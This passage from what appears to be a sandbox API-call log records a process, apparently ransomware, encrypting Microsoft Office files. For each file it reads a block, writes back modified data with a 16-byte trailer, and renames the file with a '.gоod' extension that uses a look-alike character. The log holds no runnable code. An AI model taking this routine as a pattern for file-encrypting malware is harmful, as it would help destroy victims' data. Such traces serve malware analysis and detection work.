dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0224.151] ReadFile (in: hFile=0x85c, lpBuffer=0x36f27d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x36f27d0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0224.206] CloseHandle (hObject=0x85c) returned 1 [0226.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0226.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0226.191] GetFileType (hFile=0x834) returned 0x1 [0226.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.214] GetFileType (hFile=0x834) returned 0x1 [0226.214] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x3000 [0226.214] WriteFile (in: hFile=0x834, lpBuffer=0x3654598*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3654598*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0226.214] CloseHandle (hObject=0x834) returned 1 [0226.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0226.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0226.215] GetFileType (hFile=0x834) returned 0x1 [0226.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.215] GetFileType (hFile=0x834) returned 0x1 [0226.215] ReadFile (in: hFile=0x834, lpBuffer=0x3656850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3656850*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0226.254] CloseHandle (hObject=0x834) returned 1 [0226.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0226.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0226.254] GetFileType (hFile=0x834) returned 0x1 [0226.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.255] GetFileType (hFile=0x834) returned 0x1 [0226.255] WriteFile (in: hFile=0x834, lpBuffer=0x36555b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36555b0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0226.255] CloseHandle (hObject=0x834) returned 1 [0226.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0226.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.gоod", lpFilePart=0x0) returned 0x46 [0226.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0226.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8311fde3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3010)) returned 1 [0226.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0226.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt.gоod")) returned 1 [0226.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0226.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), fInfoLevelId=0x0, lpFileInformation=0x36d3de8 | out: lpFileInformation=0x36d3de8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1 [0226.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0226.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.558] GetFileType (hFile=0x828) returned 0x1 [0226.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.558] GetFileType (hFile=0x828) returned 0x1 [0226.558] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0226.558] ReadFile (in: hFile=0x828, lpBuffer=0x37b86f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37b86f0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0226.560] CloseHandle (hObject=0x828) returned 1 [0226.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.560] GetFileType (hFile=0x828) returned 0x1 [0226.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.560] GetFileType (hFile=0x828) returned 0x1 [0226.560] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2200 [0226.560] WriteFile (in: hFile=0x828, lpBuffer=0x37b99d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37b99d0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0226.561] CloseHandle (hObject=0x828) returned 1 [0226.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.562] GetFileType (hFile=0x828) returned 0x1 [0226.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.562] GetFileType (hFile=0x828) returned 0x1 [0226.562] ReadFile (in: hFile=0x828, lpBuffer=0x37bbcd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37bbcd8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0226.602] CloseHandle (hObject=0x828) returned 1 [0226.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.602] GetFileType (hFile=0x828) returned 0x1 [0226.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.602] GetFileType (hFile=0x828) returned 0x1 [0226.602] WriteFile (in: hFile=0x828, lpBuffer=0x37baa38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x37baa38*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0226.603] CloseHandle (hObject=0x828) returned 1 [0226.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS", lpFilePart=0x0) returned 0x41 [0226.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.gоod", lpFilePart=0x0) returned 0x46 [0226.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0226.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83467333, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2210)) returned 1 [0226.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0226.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls.gоod")) returned 1 [0226.604] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0226.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), fInfoLevelId=0x0, lpFileInformation=0x38383f8 | out: lpFileInformation=0x38383f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f777)) returned 1 [0226.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0226.604] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.902] GetFileType (hFile=0x828) returned 0x1 [0226.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.902] GetFileType (hFile=0x828) returned 0x1 [0226.902] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0226.902] ReadFile (in: hFile=0x828, lpBuffer=0x3793ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3793ab0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0226.903] CloseHandle (hObject=0x828) returned 1 [0226.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.904] GetFileType (hFile=0x828) returned 0x1 [0226.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.904] GetFileType (hFile=0x828) returned 0x1 [0226.904] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4f777 [0226.904] WriteFile (in: hFile=0x828, lpBuffer=0x3794dc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3794dc0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0226.905] CloseHandle (hObject=0x828) returned 1 [0226.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.906] GetFileType (hFile=0x828) returned 0x1 [0226.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.906] GetFileType (hFile=0x828) returned 0x1 [0226.906] ReadFile (in: hFile=0x828, lpBuffer=0x37970c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37970c8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0226.947] CloseHandle (hObject=0x828) returned 1 [0226.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0226.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.947] GetFileType (hFile=0x828) returned 0x1 [0226.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0226.947] GetFileType (hFile=0x828) returned 0x1 [0226.947] WriteFile (in: hFile=0x828, lpBuffer=0x3795e28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3795e28*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0226.947] CloseHandle (hObject=0x828) returned 1 [0226.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", lpFilePart=0x0) returned 0x41 [0226.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.gоod", lpFilePart=0x0) returned 0x46 [0226.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0226.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x837ae724, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f787)) returned 1 [0226.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0226.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat.gоod")) returned 1 [0227.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0227.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), fInfoLevelId=0x0, lpFileInformation=0x36bd780 | out: lpFileInformation=0x36bd780*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978)) returned 1 [0227.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0227.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.092] GetFileType (hFile=0x828) returned 0x1 [0227.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.092] GetFileType (hFile=0x828) returned 0x1 [0227.092] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0227.092] ReadFile (in: hFile=0x828, lpBuffer=0x36bdb88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x36bdb88*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0227.093] CloseHandle (hObject=0x828) returned 1 [0227.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.093] GetFileType (hFile=0x828) returned 0x1 [0227.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.094] GetFileType (hFile=0x828) returned 0x1 [0227.094] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, 